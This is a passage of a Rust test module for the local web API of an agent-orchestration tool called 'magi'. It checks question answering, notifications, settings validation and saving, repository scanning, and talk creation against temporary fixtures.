14437            assert_eq!(answer.status, 409, "{}", answer.body);
14438            assert_eq!(std::fs::read(questions.path_of(&q.id)).unwrap(), bytes);
14439        }
14440    }
14441
14442    #[tokio::test]
14443    async fn an_answer_the_question_does_not_offer_is_refused() {
14444        let fx = Fixture::start().await;
14445        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14446        let path = format!("/api/questions/{id}/answer");
14447
14448        for body in [
14449            r#"{"choice":"Postgres"}"#,
14450            r#"{"text":"whatever you think"}"#,
14451            r#"{"choice":"Redis","text":"both"}"#,
14452            r#"{}"#,
14453        ] {
14454            let res = fx.post(&path, Some(body)).await;
14455            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
14456            assert!(res.json()["error"].is_string(), "{}", res.body);
14457        }
14458        // Nothing above may have answered it.
14459        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14460    }
14461
14462    #[tokio::test]
14463    async fn a_free_text_question_takes_text_and_not_a_choice() {
14464        let fx = Fixture::start().await;
14465        let id = ask(&fx, "What should the flag be called?", &[]);
14466        fx.questions().beat(&id, ask::WaiterKind::Asker);
14467        let path = format!("/api/questions/{id}/answer");
14468
14469        assert_eq!(
14470            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
14471            400
14472        );
14473        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
14474        assert_eq!(res.status, 200, "{}", res.body);
14475        assert_eq!(res.json()["answer"]["text"], "--json");
14476    }
14477
14478    #[tokio::test]
14479    async fn an_unknown_question_is_a_json_404() {
14480        let fx = Fixture::start().await;
14481        let res = fx
14482            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
14483            .await;
14484        assert_eq!(res.status, 404, "{}", res.body);
14485        assert!(res.json()["error"].is_string());
14486    }
14487
14488    #[tokio::test]
14489    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
14490        let fx = Fixture::start().await;
14491        let questions = Questions::at(fx.home.path().join("questions"));
14492        let store = Notices::at(fx.home.path().join("notifications"));
14493        let mut q = ask::Question::new(
14494            "t1".into(),
14495            "conduct".into(),
14496            "conductor".into(),
14497            "Continue?".into(),
14498            String::new(),
14499            Vec::new(),
14500        );
14501        questions.put(&mut q).unwrap();
14502        let mut n = Notice::warn("task:t1", "Task t1 is held.");
14503        n.covered_by = Some(q.id.clone());
14504        let n = store.raise(n).unwrap();
14505        let listed = fx.get("/api/notifications").await.json();
14506        assert_eq!(listed["items"][0]["answerable_question"], q.id);
14507        questions
14508            .update(&q.id, |q| {
14509                q.abandon("run gone");
14510                Ok(())
14511            })
14512            .unwrap();
14513        let listed = fx.get("/api/notifications").await.json();
14514        assert!(listed["items"][0]["answerable_question"].is_null());
14515        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
14516        assert!(
14517            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
14518                .unwrap()
14519                .contains("answerable_question")
14520        );
14521    }
14522
14523    #[tokio::test]
14524    async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
14525        let fx = Fixture::start().await;
14526        let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
14527        let task = crate::queue::Task::new(
14528            "work".into(),
14529            "work".into(),
14530            fx.home.path().into(),
14531            crate::queue::Source::Human,
14532        );
14533        let inquiry = outbox
14534            .file(&task, None, "test".into(), "入力待ち", "詳細")
14535            .unwrap();
14536        let root = fx.home.path().join("notifications/task-inquiries");
14537        std::fs::write(root.join("broken.json"), "{").unwrap();
14538        let mut unsupported = inquiry.clone();
14539        unsupported.id = "unsupported".into();
14540        unsupported.schema = 99;
14541        std::fs::write(
14542            root.join("unsupported.json"),
14543            serde_json::to_vec(&unsupported).unwrap(),
14544        )
14545        .unwrap();
14546        let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
14547        for _ in 0..2 {
14548            let response = fx.get("/api/decisions").await;
14549            assert_eq!(response.status, 200, "{}", response.body);
14550            let listed = response.json();
14551            assert_eq!(listed["unreadable"], 2);
14552            assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14553            assert_eq!(listed["items"][0]["id"], inquiry.id);
14554            assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
14555        }
14556        assert_eq!(
14557            before,
14558            std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
14559        );
14560        assert!(outbox.list().is_err());
14561        std::fs::remove_file(root.join("broken.json")).unwrap();
14562        std::fs::remove_file(root.join("unsupported.json")).unwrap();
14563        assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
14564    }
14565
14566    #[tokio::test]
14567    async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
14568        let fx = Fixture::start().await;
14569        let root = fx.home.path().join("notifications/task-chat-migration-v1");
14570        std::fs::create_dir_all(&root).unwrap();
14571        let journal = serde_json::json!({
14572            "schema": 1, "pending": ["saved-inquiry"],
14573            "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
14574        });
14575        let bytes = serde_json::to_vec(&journal).unwrap();
14576        std::fs::write(root.join("state.json"), &bytes).unwrap();
14577        for _ in 0..2 {
14578            let response = fx.get("/api/decisions").await;
14579            assert_eq!(response.status, 200);
14580            let listed = response.json();
14581            assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
14582            assert!(listed["items"].as_array().unwrap().is_empty());
14583            assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
14584        }
14585        // An unreadable journal must not make the endpoint hide the list.
14586        std::fs::write(root.join("state.json"), b"{").unwrap();
14587        let response = fx.get("/api/decisions").await;
14588        assert_eq!(response.status, 200);
14589        assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
14590    }
14591
14592    #[tokio::test]
14593    async fn notifications_list_read_dismiss_and_health_agree() {
14594        let fx = Fixture::start().await;
14595        let store = Notices::at(fx.home.path().join("notifications"));
14596        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
14597        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
14598
14599        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
14600        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
14601
14602        store
14603            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
14604            .unwrap();
14605        let health = fx.get("/api/health").await.json();
14606        assert_eq!(health["notifications_unread"], 2);
14607        assert_ne!(
14608            health["notifications_rev"], rev0,
14609            "the badge must move live"
14610        );
14611
14612        let listed = fx.get("/api/notifications").await.json();
14613        assert_eq!(listed["unread"], 2);
14614        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
14615        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
14616
14617        let read = fx
14618            .post(&format!("/api/notifications/{}/read", a.id), None)
14619            .await;
14620        assert_eq!(read.status, 200, "{}", read.body);
14621        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
14622
14623        let gone = fx
14624            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
14625            .await;
14626        assert_eq!(gone.status, 200, "{}", gone.body);
14627        let listed = fx.get("/api/notifications").await.json();
14628        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14629        assert_eq!(listed["unread"], 0);
14630
14631        store.raise(Notice::info("x", "again")).unwrap();
14632        let all = fx.post("/api/notifications/read-all", None).await;
14633        assert_eq!(all.status, 200, "{}", all.body);
14634        assert_eq!(all.json()["marked"], 1);
14635        assert_eq!(
14636            fx.get("/api/health").await.json()["notifications_unread"],
14637            0
14638        );
14639
14640        let missing = fx.post("/api/notifications/nope/read", None).await;
14641        assert_eq!(missing.status, 404, "{}", missing.body);
14642        assert!(missing.json()["error"].is_string());
14643    }
14644
14645    /// New work reaches the queue through `magi task add`, a standing talk's
14646    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
14647    /// so the compose form and that route are gone. The tests that covered
14648    /// that route's validation went with it, and nothing was left asserting
14649    /// it stays gone — so a re-added handler would silently let the phone
14650    /// file briefs no one validated.
14651    #[tokio::test]
14652    async fn a_task_cannot_be_filed_over_the_phone_directly() {
14653        let f = Fixture::start().await;
14654
14655        let res = f
14656            .post(
14657                "/api/queue",
14658                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
14659            )
14660            .await;
14661
14662        assert_eq!(
14663            res.status, 405,
14664            "POST /api/queue must not be a route: {}",
14665            res.body
14666        );
14667        assert!(
14668            f.queue().list().is_empty(),
14669            "a task filed by a route that does not exist must not reach the disk"
14670        );
14671        // The path itself is still served — the Queue view reads it — and the
14672        // per-task controls are untouched by the entry being removed.
14673        assert_eq!(f.get("/api/queue").await.status, 200);
14674    }
14675
14676    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
14677    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
14678        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
14679            .expect("checkout dir");
14680    }
14681
14682    /// Two command agents, so a config needs no real CLI.
14683    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
14684
14685    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
14686        let tmp = TempDir::new().expect("tempdir");
14687        let repo = tmp.path().join("repo");
14688        std::fs::create_dir_all(&repo).expect("repo dir");
14689        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
14690        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
14691        if let Some(text) = machine_toml {
14692            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
14693            std::fs::write(&machine, text).expect("machine toml");
14694        }
14695        (tmp, repo, machine)
14696    }
14697
14698    async fn settings_checkout(path: &FsPath, text: &str) {
14699        std::fs::create_dir_all(path).unwrap();
14700        std::fs::write(path.join("magi.toml"), text).unwrap();
14701        for args in [
14702            vec!["init", "-b", "main"],
14703            vec!["add", "magi.toml"],
14704            vec![
14705                "-c",
14706                "user.name=Test",
14707                "-c",
14708                "user.email=test@example.invalid",
14709                "commit",
14710                "-m",
14711                "fixture",
14712            ],
14713            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
14714            vec![
14715                "symbolic-ref",
14716                "refs/remotes/origin/HEAD",
14717                "refs/remotes/origin/main",
14718            ],
14719        ] {
14720            crate::git::git(path, &args).await.unwrap();
14721        }
14722    }
14723
14724    #[tokio::test]
14725    async fn settings_context_handlers_validate_and_save_without_a_socket() {
14726        let (tmp, repo, machine) =
14727            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
14728        let root = tmp.path().join("roots");
14729        let selected = root.join("host/owner/selected");
14730        settings_checkout(
14731            &selected,
14732            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
14733        )
14734        .await;
14735        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
14736        let before = std::fs::read(&machine).unwrap();
14737        let ui = Arc::new(
14738            Ui::new(
14739                Queue::at(tmp.path().join("queue")),
14740                Questions::at(tmp.path().join("questions")),
14741                Talks::at(tmp.path().join("talks")),
14742                tmp.path().join("runs"),
14743                tmp.path().to_path_buf(),
14744                repo.clone(),
14745            )
14746            .with_machine_config(Some(machine.clone())),
14747        );
14748        let query = || {
14749            Query(SettingsQuery {
14750                repo: Some(selected.clone()),
14751            })
14752        };
14753        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
14754        assert!(v.error.is_none(), "{:?}", v.error);
14755        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
14756        assert_eq!(conductor.source, "repo");
14757        assert_eq!(
14758            conductor.machine_value,
14759            Some(toml::Value::String("a".into()))
14760        );
14761        assert!(!conductor.editable);
14762        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
14763        assert_eq!(
14764            judges.count.as_ref().unwrap().machine_value,
14765            Some(toml::Value::Integer(1))
14766        );
14767        assert!(
14768            !v.roles
14769                .iter()
14770                .find(|r| r.key == "reviewers")
14771                .unwrap()
14772                .editable
14773        );
14774        let unknown = || {
14775            Query(SettingsQuery {
14776                repo: Some(tmp.path().to_path_buf()),
14777            })
14778        };
14779        assert_eq!(
14780            settings_get(State(ui.clone()), unknown())
14781                .await
14782                .unwrap_err()
14783                .status,
14784            StatusCode::UNPROCESSABLE_ENTITY
14785        );
14786        let body = || {
14787            Ok(Json(RolesBody {
14788                revision: v.revision.clone(),
14789                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14790                counts: Default::default(),
14791            }))
14792        };
14793        assert_eq!(
14794            settings_put_roles(State(ui.clone()), unknown(), body())
14795                .await
14796                .unwrap_err()
14797                .status,
14798            StatusCode::UNPROCESSABLE_ENTITY
14799        );
14800        assert_eq!(std::fs::read(&machine).unwrap(), before);
14801        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14802            .await
14803            .unwrap();
14804        assert_eq!(
14805            saved.repo,
14806            selected.canonicalize().unwrap().display().to_string()
14807        );
14808        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14809        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14810        // A cache miss refreshes the stable candidate list exactly for validation.
14811        let fresh = root.join("host/owner/fresh");
14812        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14813        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14814            .await
14815            .unwrap();
14816        assert_eq!(fresh_view.repositories.len(), 3);
14817    }
14818
14819    #[tokio::test]
14820    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14821        let (tmp, repo, machine) = settings_dirs(
14822            "[roles]\nreviewers = [\"a\"]\n",
14823            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14824        );
14825        let root = tmp.path().join("roots");
14826        let selected = root.join("host/owner/selected");
14827        settings_checkout(
14828            &selected,
14829            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14830        )
14831        .await;
14832        let broken = root.join("host/owner/broken");
14833        settings_checkout(&broken, "[roles\nbroken").await;
14834        let machine_text = format!(
14835            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14836            toml::Value::String(root.display().to_string())
14837        );
14838        std::fs::write(&machine, &machine_text).unwrap();
14839        let originals: Vec<_> = [&repo, &selected, &broken]
14840            .iter()
14841            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14842            .collect();
14843        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14844        let default = f.get("/api/settings").await.json();
14845        assert_eq!(
14846            default["repo"],
14847            repo.canonicalize().unwrap().display().to_string()
14848        );
14849        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14850        let query = format!("?repo={}", selected.display());
14851        let res = f.get(&format!("/api/settings{query}")).await;
14852        assert_eq!(res.status, 200, "{}", res.body);
14853        let v = res.json();
14854        assert!(v["error"].is_null(), "{v}");
14855        assert_eq!(v["repositories"], default["repositories"]);
14856        let role = |key: &str| {
14857            v["roles"]
14858                .as_array()
14859                .unwrap()
14860                .iter()
14861                .find(|r| r["key"] == key)
14862                .unwrap()
14863        };
14864        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14865        assert_eq!(role("advisors")["source"], "repo");
14866        assert_eq!(role("advisors")["editable"], false);
14867        assert!(role("advisors")["machine_value"].is_null());
14868        assert_eq!(role("judges")["count"]["value"], 2);
14869        assert_eq!(role("judges")["count"]["machine_value"], 1);
14870        assert_eq!(role("judges")["count"]["source"], "repo");
14871        let source = role("judges")["count"]["source_path"].as_str().unwrap();
14872        assert!(
14873            source.contains("origin/main") && !source.contains("magi/config/"),
14874            "{source}"
14875        );
14876        assert_eq!(
14877            role("reviewers")["editable"],
14878            false,
14879            "default context outside roots must protect its declarations"
14880        );
14881        let body =
14882            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14883        let unknown = format!("?repo={}", tmp.path().display());
14884        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14885        assert_eq!(
14886            f.put(&format!("/api/settings/roles{unknown}"), &body)
14887                .await
14888                .status,
14889            422
14890        );
14891        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14892        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14893            .to_string();
14894        assert_eq!(
14895            f.put(&format!("/api/settings/roles{query}"), &refuse)
14896                .await
14897                .status,
14898            422
14899        );
14900        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14901        assert_eq!(saved.status, 200, "{}", saved.body);
14902        assert_eq!(saved.json()["repo"], v["repo"]);
14903        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14904        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14905        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
14906            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14907        }
14908        let error = f
14909            .get(&format!("/api/settings?repo={}", broken.display()))
14910            .await;
14911        assert_eq!(error.status, 200);
14912        assert!(error.json()["error"]["message"].is_string());
14913        assert_eq!(error.json()["repositories"], default["repositories"]);
14914    }
14915
14916    #[tokio::test]
14917    async fn settings_get_reports_sources_and_the_advisors_fallback() {
14918        let (_tmp, repo, machine) =
14919            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14920        let f = Fixture::with_repo_and_machine(repo, machine).await;
14921        let res = f.get("/api/settings").await;
14922        assert_eq!(res.status, 200, "{}", res.body);
14923        let v = res.json();
14924        assert!(v["error"].is_null(), "{v}");
14925        let role = |k: &str| {
14926            v["roles"]
14927                .as_array()
14928                .and_then(|r| r.iter().find(|x| x["key"] == k))
14929                .cloned()
14930                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14931        };
14932        assert_eq!(role("judges")["source"], "machine");
14933        assert_eq!(role("judges")["editable"], true);
14934        assert_eq!(role("implementers")["source"], "default");
14935        let adv = role("advisors");
14936        assert_eq!(adv["fallback"], "judges");
14937        assert!(
14938            adv["seats"]
14939                .as_array()
14940                .is_some_and(|s| s.iter().all(|x| x == "b")),
14941            "{adv}"
14942        );
14943        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14944        assert_eq!(v["agents"][0]["source"], "repo");
14945    }
14946
14947    #[tokio::test]
14948    async fn settings_get_reports_a_config_that_does_not_parse() {
14949        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14950        let f = Fixture::with_repo_and_machine(repo, machine).await;
14951        let res = f.get("/api/settings").await;
14952        assert_eq!(res.status, 200, "{}", res.body);
14953        let v = res.json();
14954        assert!(v["error"]["message"].is_string(), "{v}");
14955        assert!(
14956            v["error"]["path"]
14957                .as_str()
14958                .is_some_and(|p| p.ends_with("magi.toml")),
14959            "{v}"
14960        );
14961        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14962    }
14963
14964    #[tokio::test]
14965    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14966        let (_tmp, repo, machine) = settings_dirs(
14967            SETTINGS_AGENTS,
14968            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
14969        );
14970        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14971        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14972        let rev = f.get("/api/settings").await.json()["revision"]
14973            .as_str()
14974            .expect("revision")
14975            .to_owned();
14976        let body = serde_json::json!({
14977            "revision": rev,
14978            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14979        })
14980        .to_string();
14981        let res = f.put("/api/settings/roles", &body).await;
14982        assert_eq!(res.status, 200, "{}", res.body);
14983        let text = std::fs::read_to_string(&machine).expect("machine");
14984        assert_eq!(
14985            text,
14986            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14987        );
14988        assert_eq!(
14989            std::fs::read(repo.join("magi.toml")).expect("read"),
14990            repo_before
14991        );
14992        let again = f.get("/api/settings").await.json();
14993        let judges = again["roles"]
14994            .as_array()
14995            .expect("roles")
14996            .iter()
14997            .find(|r| r["key"] == "judges")
14998            .expect("judges")
14999            .clone();
15000        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
15001        // The old revision is now stale.
15002        let stale = f.put("/api/settings/roles", &body).await;
15003        assert_eq!(stale.status, 409, "{}", stale.body);
15004    }
15005
15006    #[tokio::test]
15007    async fn settings_counts_are_reported_and_saved() {
15008        let (_tmp, repo, machine) = settings_dirs(
15009            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
15010            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
15011        );
15012        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
15013        let v = f.get("/api/settings").await.json();
15014        let count = |v: &serde_json::Value, k: &str| {
15015            v["roles"]
15016                .as_array()
15017                .and_then(|r| r.iter().find(|x| x["key"] == k))
15018                .map(|x| x["count"].clone())
15019                .unwrap_or_else(|| panic!("no role {k}: {v}"))
15020        };
15021        let imp = count(&v, "implementers");
15022        assert_eq!(imp["value"], 2);
15023        assert_eq!(imp["source"], "machine");
15024        assert_eq!(imp["file_key"], "candidates");
15025        assert_eq!(imp["roster_len"], 2);
15026        assert_eq!(imp["backups"], 0);
15027        assert_eq!(count(&v, "judges")["source"], "default");
15028        assert_eq!(count(&v, "advisors")["min"], 0);
15029        assert_eq!(count(&v, "reviewers")["editable"], false);
15030        assert!(
15031            count(&v, "reviewers")["locked_reason"]
15032                .as_str()
15033                .is_some_and(|m| m.contains("graph.reviewers"))
15034        );
15035        assert!(count(&v, "fixer").is_null());
15036        let rev = v["revision"].as_str().expect("revision").to_owned();
15037        let body = serde_json::json!({
15038            "revision": rev,
15039            "roles": { "judges": ["b"] },
15040            "counts": { "implementers": 1, "advisors": 0 }
15041        })
15042        .to_string();
15043        let res = f.put("/api/settings/roles", &body).await;
15044        assert_eq!(res.status, 200, "{}", res.body);
15045        let text = std::fs::read_to_string(&machine).expect("machine");
15046        assert_eq!(
15047            text,
15048            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
15049        );
15050        let after = f.get("/api/settings").await.json();
15051        assert_eq!(count(&after, "implementers")["value"], 1);
15052        assert_eq!(count(&after, "implementers")["backups"], 1);
15053        assert_eq!(count(&after, "advisors")["value"], 0);
15054        let before = std::fs::read_to_string(&machine).expect("machine");
15055        let rev = after["revision"].as_str().expect("revision").to_owned();
15056        for counts in [
15057            serde_json::json!({ "judges": 0 }),
15058            serde_json::json!({ "judges": "x" }),
15059            serde_json::json!({ "judges": 2.5 }),
15060            serde_json::json!({ "judges": -1 }),
15061            serde_json::json!({ "reviewers": 3 }),
15062            serde_json::json!({ "bogus": 3 }),
15063        ] {
15064            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
15065            let res = f.put("/api/settings/roles", &body).await;
15066            assert_eq!(res.status, 422, "{counts}: {}", res.body);
15067            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
15068        }
15069    }
15070
15071    #[tokio::test]
15072    async fn settings_put_refuses_without_touching_the_file() {
15073        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
15074        let (_tmp, repo, machine) = settings_dirs(
15075            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
15076            Some(machine_text),
15077        );
15078        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
15079        let rev = f.get("/api/settings").await.json()["revision"]
15080            .as_str()
15081            .expect("revision")
15082            .to_owned();
15083        for roles in [
15084            serde_json::json!({ "judges": ["nope"] }),
15085            serde_json::json!({ "reviewers": ["b"] }),
15086            serde_json::json!({ "bogus": ["a"] }),
15087        ] {
15088            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
15089            let res = f.put("/api/settings/roles", &body).await;
15090            assert_eq!(res.status, 422, "{roles}: {}", res.body);
15091            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
15092            assert_eq!(
15093                std::fs::read_to_string(&machine).expect("machine"),
15094                machine_text
15095            );
15096        }
15097    }
15098
15099    #[tokio::test]
15100    async fn repos_list_returns_name_and_path_for_every_configured_root() {
15101        let tmp = TempDir::new().expect("tempdir");
15102        let repo = tmp.path().join("repo");
15103        std::fs::create_dir_all(&repo).expect("repo dir");
15104        let root = tmp.path().join("root");
15105        make_checkout(&root, "github.com", "yukimemi", "magi");
15106        std::fs::write(
15107            repo.join("magi.toml"),
15108            format!(
15109                "[repos]\nroots = [{:?}]\n",
15110                root.to_string_lossy().into_owned()
15111            ),
15112        )
15113        .expect("write magi.toml");
15114
15115        let f = Fixture::with_repo(repo).await;
15116        let res = f.get("/api/repos").await;
15117        assert_eq!(res.status, 200, "{}", res.body);
15118        let list = res.json();
15119        let repos = list.as_array().expect("an array");
15120        assert_eq!(repos.len(), 1);
15121        assert_eq!(repos[0]["name"], "yukimemi/magi");
15122        assert!(
15123            repos[0]["path"]
15124                .as_str()
15125                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
15126            "{list}"
15127        );
15128    }
15129
15130    #[tokio::test]
15131    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
15132        let tmp = TempDir::new().expect("tempdir");
15133        let repo = tmp.path().join("repo");
15134        std::fs::create_dir_all(&repo).expect("repo dir");
15135        let root = tmp.path().join("root");
15136        make_checkout(&root, "github.com", "yukimemi", "magi");
15137        std::fs::write(
15138            repo.join("magi.toml"),
15139            format!(
15140                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
15141                root.to_string_lossy().into_owned()
15142            ),
15143        )
15144        .expect("write magi.toml");
15145
15146        let f = Fixture::with_repo(repo).await;
15147        let first = f.get("/api/repos").await;
15148        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
15149
15150        // A second checkout appears; within the TTL the cached answer must
15151        // not notice it.
15152        make_checkout(&root, "github.com", "yukimemi", "rvpm");
15153        let second = f.get("/api/repos").await;
15154        assert_eq!(
15155            second.json().as_array().map(Vec::len),
15156            Some(1),
15157            "a fresh cache must not rescan inside the TTL"
15158        );
15159
15160        let refreshed = f.get("/api/repos?refresh=1").await;
15161        assert_eq!(
15162            refreshed.json().as_array().map(Vec::len),
15163            Some(2),
15164            "an explicit refresh must rescan even inside the TTL"
15165        );
15166    }
15167
15168    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
15169    /// string, declared straight in a repository's own `magi.toml` rather
15170    /// than the operator's real roster. No real agent CLI is spawned - `sh`
15171    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
15172    /// this is safe to run over a real HTTP round trip.
15173    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
15174
15175    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
15176    /// real `Config::discover` to find an agent - `talk::begin` resolves one
15177    /// even though it takes no turn, and `talk_say` invokes one.
15178    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
15179        let tmp = TempDir::new().expect("tempdir");
15180        let repo = tmp.path().join("repo");
15181        std::fs::create_dir_all(&repo).expect("repo dir");
15182        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15183        let f = Fixture::with_repo(repo.clone()).await;
15184        (tmp, repo, f)
15185    }
15186
15187    #[tokio::test]
15188    async fn posting_a_talk_with_remembered_choices_is_soft() {
15189        let (_tmp, _repo, f) = talk_fixture().await;
15190
15191        let good = f
15192            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
15193            .await;
15194        assert_eq!(good.status, 201, "{}", good.body);
15195        assert_eq!(good.json()["persona"], "rei");
15196
15197        // Wrong values and wrong types are dropped one by one, never a 4xx.
15198        let stale = f
15199            .post(
15200                "/api/talks",
15201                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
15202            )
15203            .await;
15204        assert_eq!(stale.status, 201, "{}", stale.body);
15205        let v = stale.json();
15206        assert_eq!(v["implementers"], 1);
15207        assert_ne!(v["persona"], "nobody");
15208        let typed = f
15209            .post(
15210                "/api/talks",
15211                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
15212            )
15213            .await;
15214        assert_eq!(typed.status, 201, "{}", typed.body);
15215
15216        // The strict `agent` field still refuses an unknown id.
15217        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
15218        assert!(
15219            !strict.status.to_string().starts_with('2'),
15220            "{}",
15221            strict.body
15222        );
15223    }
15224
15225    #[tokio::test]
15226    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
15227        let (_tmp, _repo, f) = talk_fixture().await;
15228
15229        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
15230        // is the ordinary way a phone opens a talk.
15231        let opened = f.post("/api/talks", None).await;
15232        assert_eq!(opened.status, 201, "{}", opened.body);
15233        let body = opened.json();
15234        assert_eq!(body["status"], "open");
15235        assert_eq!(
15236            body["turns"].as_array().unwrap().len(),
15237            0,
15238            "opening takes no agent turn: there is nothing yet to answer"
15239        );
15240
15241        // An explicit empty object is the same request as none at all.
15242        let also_opened = f.post("/api/talks", Some("{}")).await;
15243        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
15244
15245        let listed = f.get("/api/talks").await.json();
15246        assert_eq!(listed.as_array().unwrap().len(), 2);
